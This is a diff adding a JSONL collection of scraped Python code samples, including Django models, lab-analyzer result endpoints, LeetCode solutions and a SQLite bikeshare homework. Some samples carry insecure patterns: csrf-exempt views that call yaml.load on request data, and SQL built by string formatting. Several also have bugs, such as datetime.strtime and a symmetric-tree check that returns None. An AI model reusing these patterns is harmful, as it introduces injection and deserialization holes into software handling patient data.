diff --git "a/1519.jsonl" "b/1519.jsonl" new file mode 100644--- /dev/null +++ "b/1519.jsonl" @@ -0,0 +1,736 @@ +{"seq_id":"619212684","text":"from datetime import datetime\nfrom django.utils import timezone\nfrom django.db import models\n\n__all__ = ('Post', 'User', 'PostLike')\n\n\nclass Post(models.Model):\n title = models.CharField(max_length=50)\n like_users = models.ManyToManyField(\n 'User',\n through='PostLike',\n # MTM으로 연결된 반대편에서\n # (지금의 경우 특정 User가 좋아요 누른\n # Post목록을 가져오고 싶은 경우)\n #\n related_name='like_posts',\n )\n\n def __str__(self):\n return self.title\n\n\nclass User(models.Model):\n name = models.CharField(max_length=50)\n\n def __str__(self):\n return self.name\n\n\nclass PostLike(models.Model):\n post = models.ForeignKey(\n Post,\n on_delete=models.CASCADE,\n )\n\n user = models.ForeignKey(\n User,\n on_delete=models.CASCADE,\n )\n created_date = models.DateTimeField(\n auto_now_add=True\n )\n\n def __str__(self):\n\n # 글 title이 \"공지사항\" 이며\n # 유저 name이 \"이한영\"이고,\n # 좋아요 누른 사람이 2018.01.31 일때\n # \"공지사항\"글의 좋아요(이한영, 2018.01.31)으로 출력\n return '\"{title}\"글의 좋아요({name}, {date})'.format(\n title = self.post.title,\n name = self.user.name,\n date = datetime.strtime(\n timezone.make_naive(self.created_date),\n '%Y.%m.%d'),\n )\n\n\n","sub_path":"django/many_to_many/models/intermediate.py","file_name":"intermediate.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"639899516","text":"import tensorflow as tf\nimport numpy as np\n\n\nclass DataGenerator(object):\n def __init__(self, max_len=10, vocab_size=3):\n self.max_len = max_len\n self.vocab_size = vocab_size\n\n def next_batch(self, batchsize=64):\n x = np.eye(self.vocab_size + 1)[np.random.choice(\n np.arange(self.vocab_size + 1), [batchsize, self.max_len])]\n y = np.eye(self.max_len + 1)[np.sum(x, axis=1)[:, 1:].astype(np.int32)]\n return x, y\n\n\nclass AttentionMoel(object):\n def __init__(self,\n sess,\n sample_len=10,\n max_len=10,\n vocab_size=3,\n hidden=64,\n name=\"Counter\"):\n self.sess = sess\n self.sample_len = sample_len\n self.max_len = max_len\n self.vocab_size = vocab_size\n self.hidden = hidden\n self.name = name\n\n self.build_model()\n\n def build_model(self):\n self.input = tf.placeholder(\n tf.float32, [None, self.sample_len, self.vocab_size + 1])\n self.labels = tf.placeholder(tf.float32,\n [None, self.vocab_size, self.max_len + 1])\n query = tf.Variable(\n tf.float32,\n initial_value=np.zeros((1, self.vocab_size, self.hidden)))\n key_val = tf.layers.dense(\n inputs=self.input, units=self.hidden, activation=None)\n","sub_path":"attention_counting_letters.py","file_name":"attention_counting_letters.py","file_ext":"py","file_size_in_byte":1396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"401777826","text":"from django.views.decorators.csrf import csrf_exempt\nfrom django.http import HttpResponse\nimport api.models as models\nimport simplejson as json\nimport directions.models as directions\nimport directory.models as directory\nimport users.models as users\nimport yaml\nfrom slog import models as slog\nfrom django.utils import timezone\n\ndef translit(locallangstring):\n \"\"\"\n Translit func\n :param locallangstring: orign\n :return: translit of locallangstring\n \"\"\"\n conversion = {\n u'\\u0410' : 'A', u'\\u0430' : 'a',\n u'\\u0411' : 'B', u'\\u0431' : 'b',\n u'\\u0412' : 'V', u'\\u0432' : 'v',\n u'\\u0413' : 'G', u'\\u0433' : 'g',\n u'\\u0414' : 'D', u'\\u0434' : 'd',\n u'\\u0415' : 'E', u'\\u0435' : 'e',\n u'\\u0401' : 'Yo', u'\\u0451' : 'yo',\n u'\\u0416' : 'Zh', u'\\u0436' : 'zh',\n u'\\u0417' : 'Z', u'\\u0437' : 'z',\n u'\\u0418' : 'I', u'\\u0438' : 'i',\n u'\\u0419' : 'Y', u'\\u0439' : 'y',\n u'\\u041a' : 'K', u'\\u043a' : 'k',\n u'\\u041b' : 'L', u'\\u043b' : 'l',\n u'\\u041c' : 'M', u'\\u043c' : 'm',\n u'\\u041d' : 'N', u'\\u043d' : 'n',\n u'\\u041e' : 'O', u'\\u043e' : 'o',\n u'\\u041f' : 'P', u'\\u043f' : 'p',\n u'\\u0420' : 'R', u'\\u0440' : 'r',\n u'\\u0421' : 'S', u'\\u0441' : 's',\n u'\\u0422' : 'T', u'\\u0442' : 't',\n u'\\u0423' : 'U', u'\\u0443' : 'u',\n u'\\u0424' : 'F', u'\\u0444' : 'f',\n u'\\u0425' : 'H', u'\\u0445' : 'h',\n u'\\u0426' : 'Ts', u'\\u0446' : 'ts',\n u'\\u0427' : 'Ch', u'\\u0447' : 'ch',\n u'\\u0428' : 'Sh', u'\\u0448' : 'sh',\n u'\\u0429' : 'Sch', u'\\u0449' : 'sch',\n u'\\u042a' : '', u'\\u044a' : '',\n u'\\u042b' : 'Y', u'\\u044b' : 'y',\n u'\\u042c' : '', u'\\u044c' : '',\n u'\\u042d' : 'E', u'\\u044d' : 'e',\n u'\\u042e' : 'Yu', u'\\u044e' : 'yu',\n u'\\u042f' : 'Ya', u'\\u044f' : 'ya',\n }\n translitstring = []\n for c in locallangstring:\n translitstring.append(conversion.setdefault(c, c))\n return ''.join(translitstring)\n\n@csrf_exempt\ndef send(request):\n \"\"\"\n Sysmex save results\n :param request:\n :return:\n \"\"\"\n result = {\"ok\": False}\n try:\n if request.method == \"POST\":\n resdict = yaml.load(request.POST[\"result\"])\n appkey = request.POST[\"key\"]\n else:\n resdict = yaml.load(request.GET[\"result\"])\n appkey = request.GET[\"key\"]\n\n astm_user = users.DoctorProfile.objects.filter(user__pk=866).first()\n if \"LYMPH%\" in resdict[\"result\"]:\n resdict[\"orders\"] = {}\n\n dpk = -1\n if \"bydirection\" in request.POST or \"bydirection\" in request.GET:\n dpk = resdict[\"pk\"]\n\n if dpk >= 4600000000000:\n dpk -= 4600000000000\n dpk //= 10\n\n if directions.TubesRegistration.objects.filter(issledovaniya__napravleniye__pk=dpk).exists():\n resdict[\"pk\"] = directions.TubesRegistration.objects.filter(\n issledovaniya__napravleniye__pk=dpk).first().pk\n else:\n resdict[\"pk\"] = -1\n resdict[\"bysapphire\"] = True\n\n if resdict[\"pk\"] and models.Application.objects.filter(key=appkey).exists() and directions.TubesRegistration.objects.filter(pk=resdict[\"pk\"]).exists():\n tubei = directions.TubesRegistration.objects.get(pk=resdict[\"pk\"])\n direction = tubei.issledovaniya_set.first().napravleniye\n for key in resdict[\"result\"].keys():\n if models.RelationFractionASTM.objects.filter(astm_field=key).exists():\n fractionRels = models.RelationFractionASTM.objects.filter(astm_field=key)\n for fractionRel in fractionRels:\n fraction = fractionRel.fraction\n if directions.Issledovaniya.objects.filter(napravleniye=direction,\n research=fraction.research, doc_confirmation__isnull=True).exists():\n issled = directions.Issledovaniya.objects.get(napravleniye=direction,\n research=fraction.research)\n fraction_result = None\n if directions.Result.objects.filter(issledovaniye=issled,\n fraction=fraction).exists(): # Если результат для фракции существует\n fraction_result = directions.Result.objects.get(issledovaniye=issled,\n fraction__pk=fraction.pk) # Выборка результата из базы\n else:\n fraction_result = directions.Result(issledovaniye=issled,\n fraction=fraction) # Создание нового результата\n fraction_result.value = resdict[\"result\"][key].strip() # Установка значения\n if fractionRel.get_multiplier_display() > 1:\n if fraction_result.value.isdigit():\n fraction_result.value = \"%s.0\" % fraction_result.value\n import re\n find = re.findall(\"\\d+.\\d+\", fraction_result.value)\n if len(find) > 0:\n val = int(float(find[0]) * fractionRel.get_multiplier_display())\n fraction_result.value = fraction_result.value.replace(find[0], str(val))\n fraction_result.iteration = 1 # Установка итерации\n fraction_result.save() # Сохранение\n fraction_result.issledovaniye.doc_save = astm_user # Кто сохранил\n from datetime import datetime\n fraction_result.issledovaniye.time_save = timezone.now() # Время сохранения\n fraction_result.issledovaniye.save()\n slog.Log(key=appkey, type=22, body=json.dumps(resdict), user=astm_user).save()\n result[\"ok\"] = True\n elif not directions.TubesRegistration.objects.filter(pk=resdict[\"pk\"]).exists():\n if dpk > -1:\n resdict[\"pk\"] = dpk\n slog.Log(key=resdict[\"pk\"], type=23, body=json.dumps(resdict), user=astm_user).save()\n except Exception:\n result = {\"ok\": False, \"Exception\": True}\n return HttpResponse(json.dumps(result), content_type=\"application/json\") # Создание JSON\n\n\n@csrf_exempt\ndef get_order(request):\n \"\"\"\n Gen order of direction\n :param request:\n :return:\n \"\"\"\n import astm\n from time import gmtime, strftime\n sdt = strftime(\"%Y%m%d%H%M%S\", gmtime())\n ra = [[\"H\",\"\\\\^&\",\"\",\"\",[\"Host\",\"P_1\"],\"\",\"\",\"\",\"\",[\"BIOLIS NEO\",\"System1\"],\"\",\"P\",\"1\",sdt]]\n\n if request.method == \"POST\":\n sample_id = request.POST[\"sample_id\"]\n else:\n sample_id = request.GET[\"sample_id\"]\n tubei = directions.TubesRegistration.objects.get(pk=sample_id)\n issledovaniya = directions.Issledovaniya.objects.filter(tubes=tubei)\n client = issledovaniya.first().napravleniye.client\n ra.append([\"P\",\n \"1\",\n str(client.pk),\n \"\",\n \"\",\n [translit(client.family),translit(client.name)],\n \"\",\n \"{}{}{}\".format(*client.birthday.split(\" \")[0].split(\".\")[::-1]),\n translit(client.sex.upper()).replace(\"Zh\",\"F\"),\n \"\",\n \"\",\n \"\",\n \"\",\n \"\" ])\n\n inta = 0\n for iss in issledovaniya:\n for fr in directions.directory.Fractions.objects.filter(research=iss.research):\n rel = models.RelationFractionASTM.objects.filter(fraction=fr)\n field = translit(fr.title)\n if rel.exists():\n inta += 1\n field = rel.first().astm_field\n ra.append([\"O\",str(inta),sample_id,[\"\",\"0\",\"0\"],[\"\",\"\",\"\",\"\", field,\"0\"],\"R\",\"\",\"\",\"\",\"\",\"\",\"N\",\"\",\"\",\"\",\"Serum\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"O\"])\n ra.append([\"L\",\"1\",\"N\"])\n result = astm.codec.iter_encode(ra)\n return HttpResponse(result, content_type=\"text/plain\")\n\n@csrf_exempt\ndef results(request):\n \"\"\"\n Sapphire results save\n :param request:\n :return:\n \"\"\"\n result = {\"ok\": False}\n if request.method == \"POST\":\n resdict = request.POST[\"result\"]\n key = request.POST[\"key\"]\n else:\n resdict = request.GET[\"result\"]\n key = request.GET[\"key\"]\n resdict = json.loads(resdict.replace(\"'\", \"\\\"\"))\n\n if key and models.Application.objects.filter(key=key).exists():\n for patient in resdict[\"PATIENTS\"]:\n for order in patient[\"ORDERS\"]:\n for rest in order[\"RESULTS\"]:\n if patient[\"ID\"] and patient[\"ID\"].isdigit():\n direction = directions.Issledovaniya.objects.filter(pk=int(patient[\"ID\"])).first().napravleniye\n if models.RelationFractionASTM.objects.filter(astm_field=rest[\"TEST\"][\"ITEM_NAME\"]).exists():\n fractionRels = models.RelationFractionASTM.objects.filter(astm_field=rest[\"TEST\"][\"ITEM_NAME\"])\n for fractionRel in fractionRels:\n fraction = fractionRel.fraction\n if directions.Issledovaniya.objects.filter(napravleniye=direction,\n research=fraction.research).exists():\n issled = directions.Issledovaniya.objects.get(napravleniye=direction,\n research=fraction.research)\n fraction_result = None\n if directions.Result.objects.filter(issledovaniye=issled,\n fraction=fraction).exists(): # Если результат для фракции существует\n fraction_result = directions.Result.objects.get(issledovaniye=issled,\n fraction__pk=fraction.pk) # Выборка результата из базы\n else:\n fraction_result = directions.Result(issledovaniye=issled,\n fraction=fraction) # Создание нового результата\n\n ref = fractionRel.default_ref\n if ref:\n fraction_result.ref_title = ref.title\n fraction_result.ref_about = ref.about\n fraction_result.ref_m = ref.m\n fraction_result.ref_f = ref.f\n fraction_result.value = rest[\"VALUE\"].strip() # Установка значения\n if fractionRel.get_multiplier_display() > 1:\n import re\n find = re.findall(\"\\d+.\\d+\", fraction_result.value)\n if len(find) > 0:\n val = int(float(find[0]) * fractionRel.get_multiplier_display())\n fraction_result.value = fraction_result.value.replace(find[0], str(val))\n fraction_result.iteration = 1 # Установка итерации\n fraction_result.save() # Сохранение\n fraction_result.issledovaniye.doc_save = users.DoctorProfile.objects.filter(\n user__pk=866).first() # Кто сохранил\n from datetime import datetime\n fraction_result.issledovaniye.time_save = timezone.now() # Время сохранения\n fraction_result.issledovaniye.save()\n result[\"ok\"] = True\n return HttpResponse(json.dumps(result), content_type=\"application/json\") # Создание JSON\n\n\n@csrf_exempt\ndef results_normal(request):\n \"\"\"\n Sapphire results save normal (test)\n :param request:\n :return:\n \"\"\"\n result = {\"ok\": False}\n if request.method == \"POST\":\n resdict = request.POST[\"result\"]\n key = request.POST[\"key\"]\n else:\n resdict = request.GET[\"result\"]\n key = request.GET[\"key\"]\n resdict = json.loads(resdict.replace(\"'\", \"\\\"\"))\n if key and models.Application.objects.filter(key=key).exists():\n for patient in resdict[\"PATIENTS\"]:\n for order in patient[\"ORDERS\"]:\n for rest in order[\"RESULTS\"]:\n if order[\"SAMPLE_ID\"] and order[\"SAMPLE_ID\"].isdigit():\n tubei = directions.TubesRegistration.objects.get(pk=order[\"SAMPLE_ID\"])\n direction = directions.Issledovaniya.objects.filter(tubes=tubei).first().napravleniye\n if models.RelationFractionASTM.objects.filter(astm_field=rest[\"TEST\"][\"ITEM_NAME\"]).exists():\n fractionRels = models.RelationFractionASTM.objects.filter(astm_field=rest[\"TEST\"][\"ITEM_NAME\"])\n for fractionRel in fractionRels:\n fraction = fractionRel.fraction\n if directions.Issledovaniya.objects.filter(napravleniye=direction,\n research=fraction.research).exists():\n issled = directions.Issledovaniya.objects.get(napravleniye=direction,\n research=fraction.research)\n fraction_result = None\n if directions.Result.objects.filter(issledovaniye=issled,\n fraction=fraction).exists(): # Если результат для фракции существует\n fraction_result = directions.Result.objects.get(issledovaniye=issled,\n fraction__pk=fraction.pk) # Выборка результата из базы\n else:\n fraction_result = directions.Result(issledovaniye=issled,\n fraction=fraction) # Создание нового результата\n fraction_result.value = rest[\"VALUE\"].strip() # Установка значения\n if fractionRel.get_multiplier_display() > 1:\n import re\n find = re.findall(\"\\d+.\\d+\", fraction_result.value)\n if len(find) > 0:\n val = int(float(find[0]) * fractionRel.get_multiplier_display())\n fraction_result.value = fraction_result.value.replace(find[0], str(val))\n fraction_result.iteration = 1 # Установка итерации\n fraction_result.save() # Сохранение\n fraction_result.issledovaniye.doc_save = users.DoctorProfile.objects.filter(\n user__pk=866).first() # Кто сохранил\n from datetime import datetime\n fraction_result.issledovaniye.time_save = timezone.now() # Время сохранения\n fraction_result.issledovaniye.save()\n result[\"ok\"] = True\n return HttpResponse(json.dumps(result), content_type=\"application/json\") # Создание JSON\n","sub_path":"api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":16947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"509578126","text":"class Solution(object):\n def dailyTemperatures(self, T):\n \"\"\"\n :type T: List[int]\n :rtype: List[int]\n \"\"\"\n length = len(T)\n ans = [0] * length\n stack = []\n for i in range(length):\n temperature = T[i]\n while stack and temperature > T[stack[-1]]:\n prev_index = stack.pop()\n ans[prev_index] = i - prev_index\n stack.append(i)\n return ans","sub_path":"0739-daily-temperatures/python/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"190866255","text":"'''\nOR604 HW00\nWilliam Ermlick\n1/13/2018\n\nSources:\nhttps://docs.python.org/2/library/sqlite3.html\nhttps://stackoverflow.com/questions/17044259/python-how-to-check-if-table-exists/17044893\nhttps://stackoverflow.com/questions/19585280/convert-a-row-in-pandas-into-list\nhttps://stackoverflow.com/questions/46028456/import-csv-files-into-sql-database-using-sqlite-in-python\nhttps://stackoverflow.com/questions/4913349/haversine-formula-in-python-bearing-and-distance-between-two-gps-points\n'''\nimport os\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport sqlite3\nimport pickle\nfrom datetime import datetime\nfrom math import radians, cos, sin, asin, sqrt\nfrom collections import defaultdict\n\ndef Problem_1():\n '''\n Get the basic station information into the database. Load the station file\n “Capital_Bikeshare_Terminal_Locations.csv” into a table in the database.\n Your solution should check to see if the data table exists and creates the\n table if it does not exist. Your solution should also output to the screen\n the total number of records entered into the data table. This problem gives\n you the skills required to connect to a database, create tables, import data\n from a CSV and use Python abstract data structures. HINTS: use the\n executemany command in SQLite to load the data into the database. Recommend\n you use the lists to temporarily store the data in memory before loading it\n into the database (as opposed to using a dictionary – which seems to be a\n bit more difficult to implement correctly for some people). Use the\n following date-time format when loading the data into the SQLite database:\n YYYY-MM-DD HH:SS. The dashes are important because that is the only\n format that SQLite knows and recognizes inherently as a date.\n '''\n conn = sqlite3.connect('BikeShare.db')\n c = conn.cursor()\n table_name = 'Capital_Bike_Share_Locations'\n\n # Create table if it doesnt exist\n existedalready = False\n try:\n c.execute('''CREATE TABLE %s (\n Object_ID real,\n ID real,\n Address text,\n Terminal int,\n Latitude real,\n Longitude real,\n Installed text,\n Locked text,\n Install_Date date,\n Removal_Date date,\n Temporary_Install text,\n Number_Of_Bikes int,\n Number_Of_Empty_Docks int,\n X real,\n Y real,\n SE_Anno_CAD_Data real)''' %\n (table_name))\n except sqlite3.OperationalError as e: #if it already exists, log that\n message = e.args[0]\n if message.startswith(\"table \" + table_name + \" already exists\"):\n existedalready = True\n pass\n\n if existedalready == False:\n # populate the DB if it didn't exist and we just made it\n data = pd.read_csv(table_name+'.csv')\n\n #convert DF to list of rows formatted as lists\n rows=data.values.tolist()\n #insert each row into the DF\n c.executemany('insert into %s values (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)' % (table_name), rows)\n conn.commit()\n #print count\n c.execute('select count(*) from %s'% (table_name))\n result = c.fetchone()\n print('Inserted ' + str(result[0])+ ' records into the '+ table_name+ ' table.')\n else:\n print(table_name+\" already exists and is populated.\")\n return\n\n\ndef Problem_2():\n '''\n Get the trip data into the database. Iterate over all the data files that contain\n trip history (these are the 24 data files contained in the zipped directory) and\n load them into a single data table in a database. Your solution should check for\n the existence of the data table that holds the bike data (and create it if it does\n not exist), and load the contents of the files into the data table. Your solution\n should also output the number of records transferred from each data set as well\n as return the total number of records that have been loaded into the data table.\n This problem gives you the skills required to iterate over multiple data sets,\n insert data into an existing table, and creating tables if one does not exist.\n HINTS: use the same hints for Problem 1 and I recommend that you extract\n the data from the zipped archive into a directory as opposed to trying to\n access the files from within the archive. Iterate over the 24 files do not\n type all 24 file names into your routine.\n '''\n conn = sqlite3.connect('BikeShare.db')\n c = conn.cursor()\n table_name = 'Capital_Bike_Share_Data'\n datafolder = os.path.realpath(\"Capital_BikeShare_Data\")\n # Create table if it doesnt exist\n existedalready = False\n try:\n c.execute('''CREATE TABLE %s (\n TRIP_DURATION real,\n START_DATE date,\n START_STATION int,\n STOP_DATE date,\n STOP_STATION int,\n BIKE_ID int,\n USER_TYPE text)''' %\n (table_name))\n except sqlite3.OperationalError as e: #if it already exists, log that\n message = e.args[0]\n if message.startswith(\"table \" + table_name + \" already exists\"):\n existedalready = True\n pass\n\n if existedalready == False:\n # populate the DB if it didn't exist and we just made it\n for root, dirs, files in os.walk(datafolder): #walk it\n for file in files:\n if file.endswith(\".csv\"):\n data = pd.read_csv(os.path.join(datafolder, file))\n # #format date columns as required\n # print(data['STOP_DATE'].apply(lambda x: datetime.datetime.strftime(str(x),'%Y-%m-%d %H:%S')))\n #convert DF to list of rows formatted as lists\n rows=data.values.tolist()\n #insert each row into the DF\n c.executemany('insert into %s values (?,?,?,?,?,?,?)' % (table_name), rows)\n conn.commit()\n #print status\n print('Inserted ' + str(c.rowcount)+ ' records into the '+ table_name+ ' table from '+ file+'.')\n #print final status\n c.execute('select count(*) from %s'% (table_name))\n result=c.fetchone()\n print('Inserted ' + str(result[0])+ ' records into the '+ table_name+ ' table from all CSV files in '+ datafolder+'.')\n\n\ndef Problem_3(lat1, lon1, lat2, lon2, Miles):\n '''\n Write a routine (or call an existing module) that takes as its arguments the\n LAT/LON for any two points and whether distance should be calculated as miles\n or kilometers. The output of the routine should be the distance between the\n two points (in the specified unit of measure). This problem exercises your\n ability to make routines that take in required arguments and passes out a\n formatted response.\n '''\n if Miles:\n R = 3959 #radius of the earth in miles\n else:\n R= 6371 #radius of the earth in kilometers\n\n #implement haversine function:\n # convert decimal degrees to radians\n lon1, lat1, lon2, lat2 = map(radians, [lon1, lat1, lon2, lat2])\n\n # haversine formula\n dlon = lon2 - lon1\n dlat = lat2 - lat1\n a = sin(dlat/2)**2 + cos(lat1) * cos(lat2) * sin(dlon/2)**2\n c = 2 * asin(sqrt(a))\n return c * R\n\n\ndef Problem_4(miles=True):\n '''\n Create a routine that returns a dictionary that has as its keys all pairs of\n bike terminals and the distance between those two locations. Use your solution\n to problem 3 for this problem. Your solution should include calling a query\n in your SQLite database that provides you the data you need to calculate the\n distance between all station pairs. This problem exercises your ability to\n manipulate data sets within a database as well as use dictionaries to save data.\n Hint: This means you have to make a join between two tables. You could do a\n Cartesian join or you could iterate over all bike terminals and then find the\n distance from terminal to all other terminals.\n '''\n conn = sqlite3.connect('BikeShare.db')\n c = conn.cursor()\n c.execute('''select DISTINCT Terminal from Capital_Bike_Share_Locations''')\n StationDistances = defaultdict(dict)\n allstops = [row[0] for row in c]\n print(\"Building dictonary for Problem 4. Please wait.\")\n for k in allstops:\n for j in allstops:\n k=str(k)\n j=str(j)\n LAT1 = c.execute('''select Latitude from Capital_Bike_Share_Locations where Terminal = \"%s\"''' % (k)).fetchone()[0]\n LON1 = c.execute('''select Longitude from Capital_Bike_Share_Locations where Terminal = \"%s\"''' % (k)).fetchone()[0]\n LAT2 = c.execute('''select Latitude from Capital_Bike_Share_Locations where Terminal = \"%s\"''' % (j)).fetchone()[0]\n LON2 = c.execute('''select Longitude from Capital_Bike_Share_Locations where Terminal = \"%s\"''' % (j)).fetchone()[0]\n StationDistances[k][j]=Problem_3(LAT1,LON1,LAT2,LON2,Miles=miles) # assume miles\n pickle.dump(StationDistances, open(\"StationDistances\", 'wb'))\n return StationDistances\n\ndef Problem_5(StationDistances, Terminal, Threshold_Distance):\n '''\n Create a routine that takes as its argument a dictionary, a Bikeshare terminal,\n and a distance and returns a list of all stations that are within the specified\n distance of the specified docking station. This problem tests your ability to\n write a routine that takes in arguments, passes out results, and tests your ability\n to filter off of keys in a dictionary.\n '''\n withindistance=[]\n for item in StationDistances[Terminal]:\n if StationDistances[Terminal][item] < Threshold_Distance:\n withindistance.append(item)\n return print(withindistance)\n\ndef Problem_6(station1,station2,startdate,enddate):\n '''\n Create a routine that takes as its argument any two BikeShare stations and a\n start and end date and returns the total number of trips made by riders between\n those two stations over the period of time specified by the start and stop date.\n This problem tests your ability to write a select statement on a table in a\n database and return the results from a select query.\n '''\n conn = sqlite3.connect('BikeShare.db')\n c = conn.cursor()\n c.execute('''select COUNT(*) from Capital_Bike_Share_Data\n WHERE (START_STATION = %s OR START_STATION = %s)\n AND (STOP_STATION=%s OR STOP_STATION = %s)\n AND START_DATE > '%s'\n AND STOP_DATE < '%s' ''' % (station1,station2,\n station1,station2,\n startdate,enddate))\n result = [row[0] for row in c]\n print(result)\n\n return\n\n\nif __name__ == '__main__':\n Problem_1()\n Problem_2()\n StationDistances = Problem_4(miles=True)\n try:\n Problem_5(StationDistances,'32221', .5)\n except :\n StationDistances = pickle.load(open(\"StationDistances\",'rb'))\n Problem_5(StationDistances,'32221', .5)\n Problem_6('31100','31101','2010-12-31 23:49:00','2013-12-31 22:19:00')\n","sub_path":"HW00/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":11456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"530528887","text":"#https://oj.leetcode.com/problems/symmetric-tree/\r\n# Definition for a binary tree node\r\n# class TreeNode:\r\n# def __init__(self, x):\r\n# self.val = x\r\n# self.left = None\r\n# self.right = None\r\nclass Solution:\r\n # @param root, a tree node\r\n # @return a boolean\r\n def isSymmetric(self, root):\r\n if root is None:\r\n return True\r\n\r\n left_stack = []\r\n right_stack = []\r\n\r\n left_stack.append(root.left)\r\n right_stack.append(root.right)\r\n\r\n while (len(left_stack) == len(right_stack) and 0 < len(left_stack)):\r\n left_node = left_stack.pop()\r\n right_node = right_stack.pop()\r\n\r\n if left_node is None and right_node is None:\r\n continue\r\n\r\n if left_node is not None and right_node is not None and left_node.val == right_node.val:\r\n left_stack.append(left_node.left)\r\n right_stack.append(right_node.right)\r\n left_stack.append(right_node.left)\r\n right_stack.append(left_node.right)\r\n else:\r\n return False\r\n\r\n\r\n","sub_path":"symmetric-tree-v2.py","file_name":"symmetric-tree-v2.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"168864558","text":"from create_import import *\n\nfile = 'data.sqlite3'\nname = ['person','equipment','test','info','tu']\ncsv = [i+'.txt' for i in name]\n\nfields = [\n\t\t'(id,name,position)',\n\t\t'(id,name,label,number,test_date,test_term)',\n\t\t'(id,name,describe,requirment,tu_2500,val)',\n\t\t'(id,name)',\n\t\t'(id,name)',\n\t\t]\n\nsql_create = [\n\t\tcreate_person,\n\t\tcreate_equipment,\n\t\tcreate_test,\n\t\tcreate_info,\n\t\tcreate_tu,\n\t\t]\n\nfor i in range(5):\n\tpers = NewTable(file=file, name=name[i])\n\tpers.create_table(sql_create = sql_create[i])\n\tpers.import_db(fields=fields[i], csv=csv[i])\n","sub_path":"csv/scripts.py","file_name":"scripts.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"459824631","text":"from django import forms\n\n\nclass ProductAddToCartForm(forms.Form):\n \"\"\" form class to add items to the shopping cart \"\"\"\n quantity = forms.IntegerField(widget=forms.NumberInput(attrs={'size': '2', 'value': '1', 'class': 'quantity'}),\n error_messages={'invalid': 'Please enter a valid quantity.'},\n min_value=1)\n variation_id = forms.IntegerField(widget=forms.HiddenInput())\n\n def __init__(self, request=None, *args, **kwargs):\n \"\"\" override the default so we can set the request \"\"\"\n self.request = request\n super(ProductAddToCartForm, self).__init__(*args, **kwargs)\n\n def clean(self):\n \"\"\" custom validation to check for presence of cookies in customer's browser \"\"\"\n if self.request:\n if not self.request.session.test_cookie_worked():\n raise forms.ValidationError(\"Cookies must be enabled.\")\n return self.cleaned_data\n\n\"\"\"\nin view:\n def show_product(request, slug):\n p = get_object_or_404(Product, slug=slug)\n categories = p.categories.filter(is_active=True)\n\n if request.method == 'POST':\n # add to cart…create the bound form\n\n postdata = request.POST.copy()\n form = ProductAddToCartForm(request, postdata)\n\n # check if posted data is valid\n if form.is_valid():\n\n # add to cart and redirect to cart page\n cart.add_to_cart(request)\n # if test cookie worked, get rid of it\n if request.session.test_cookie_worked():\n request.session.delete_test_cookie()\n url = reverse('cart:show_cart')\n return HttpResponseRedirect(url)\n\n else:\n # it’s a GET, create the unbound form. Note request as a kwarg\n form = ProductAddToCartForm(request=request, label_suffix=':')\n\n # assign the hidden input the product slug\n form.fields['product_slug'].widget.attrs['value'] = slug\n # set the test cookie on our first GET request\n request.session.set_test_cookie()\n\n return render(request, 'catalog/product.html', {'p': p,\n 'categories': categories,\n 'form': form}\nin template:\n
\n {% csrf_token %}\n {{ form.as_p }}\n
\n \n
\n\"\"\"","sub_path":"cart2/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"364042660","text":"# !/usr/bin/env python\n# --------------------------------------------------------------\n# File: pareto.py\n# Project: MOEA-D\n# Created: Thursday, 9th May 2019 2:26:20 pm\n# @Author: molin@live.cn\n# Last Modified: Thursday, 9th May 2019 2:26:25 pm\n# Copyright © Rockface 2018 - 2019\n# --------------------------------------------------------------\nimport os, sys, time\nimport dataAnalysis, utilis, plot\n\nif __name__ == \"__main__\":\n\tstart_s1 = time.time()\n\tprint(\"[Start]\\tCollecting Pareto Front\")\n\t\n\tbasePath = os.path.curdir\n\toutPath = os.path.join(basePath, \"Output\")\n\toutPF = dataAnalysis.collectPF(outPath)\n\toutPath = utilis.getOutPath(os.path.join(outPath, \"PF\"), \"PF\")\n\tos.mkdir(outPath)\n\toutPF_file = os.path.join(outPath, \"PF.txt\")\n\n\tdataAnalysis.to_csv(outPF_file, outPF)\n\toutZ = open(os.path.join(outPath, \"z.txt\"), 'w')\n\toutZ.write(str(outPF[0].risk)+\"\\t\"+str(outPF[-1].income))\n\toutZ.close()\n\t\n\tplot.plotPoints(outPF_file, 120, 15)\n\tdataAnalysis.formatPlot(outPF_file)\n\tend_s1 = time.time()\n\tprint(\"[End]\\t%s\"%(end_s1-start_s1))","sub_path":"pareto.py","file_name":"pareto.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"351020588","text":"# title: bag-of-tokens\n# detail: https://leetcode.com/submissions/detail/403438317/\n# datetime: Fri Oct 2 15:29:27 2020\n# runtime: 84 ms\n# memory: 14.2 MB\n\nclass Solution:\n def bagOfTokensScore(self, tokens: List[int], P: int) -> int:\n max_points, points = 0, 0\n tokens.sort()\n i, j = 0, len(tokens) - 1\n while i <= j:\n if P < tokens[i]:\n if i == j or points == 0: break\n P += tokens[j]\n points -= 1\n j -= 1\n points += 1\n P -= tokens[i]\n i += 1\n max_points = max(max_points, points)\n return max(max_points, 